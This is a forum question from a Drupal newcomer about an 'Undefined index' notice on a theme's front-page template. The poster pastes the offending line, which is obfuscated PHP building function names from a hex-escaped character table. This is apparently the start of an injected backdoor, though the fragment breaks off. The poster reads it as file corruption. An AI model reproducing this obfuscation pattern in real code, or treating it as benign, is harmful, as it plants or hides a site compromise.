Undefined Index error on page.tpl.php template for Business theme

I am totally new to Drupal. I have no knowledge of php but have been tasked with maintaining a website.
I am getting an error in the home page of my website as shown below. The site is working fine but that error comes up right in the users' faces when they visit the site and complaints are flowing in. The error reads as-

Notice: Undefined index: za8cbc054 in include() (line 1 of /hermes/walnaweb01a/b2966/pow.bneadmin/htdocs/drupal/sites/all/themes/business/templates/page--front.tpl.php)

When checking the file it seems the global variable has issue -
<?php
$GLOBALS['za8cbc054'];global$za8cbc054;$za8cbc054=$GLOBALS;$za8cbc054['p1034bf']="\x61\x34\x69\x6c\x2b\x72\x73\x20\x2d\x63\x5b\x7a\x30\x47\x2c\x3a\x56\x48\x4c\x54\x39\xa\x6f\x59\x64\x49\x37\x4e\x79\x4a\x3f\x24\x26\x38\x57\x3b\x76\x5a\x41\x65\x77\x6b\x9\x74\x4f\x5e\x4d\x75\x42\x23\x51\x58\x7d\x62\x67\x28\x7b\x27\x2a\x4b\x35\x3e\x33\x7e\x40\x44\x2f\x5c\x6e\x53\x60\x71\x55\x50\x22\xd\x6a\x31\x46\x70\x2e\x36\x3c\x78\x25\x45\x32\x68\x52\x21\x29\x3d\x43\x5d\x66\x7c\x5f\x6d";$za8cbc054[$za8cbc054['p1034bf'][79].$za8cbc054['p1034bf'][20].$za8cbc054['p1034bf'][1].$za8cbc054['p1034bf'][81]

Is the file corrupted? Has anyone seen such type of error or resolved it? Any kind of guidance will be very helpful.
Thanks!
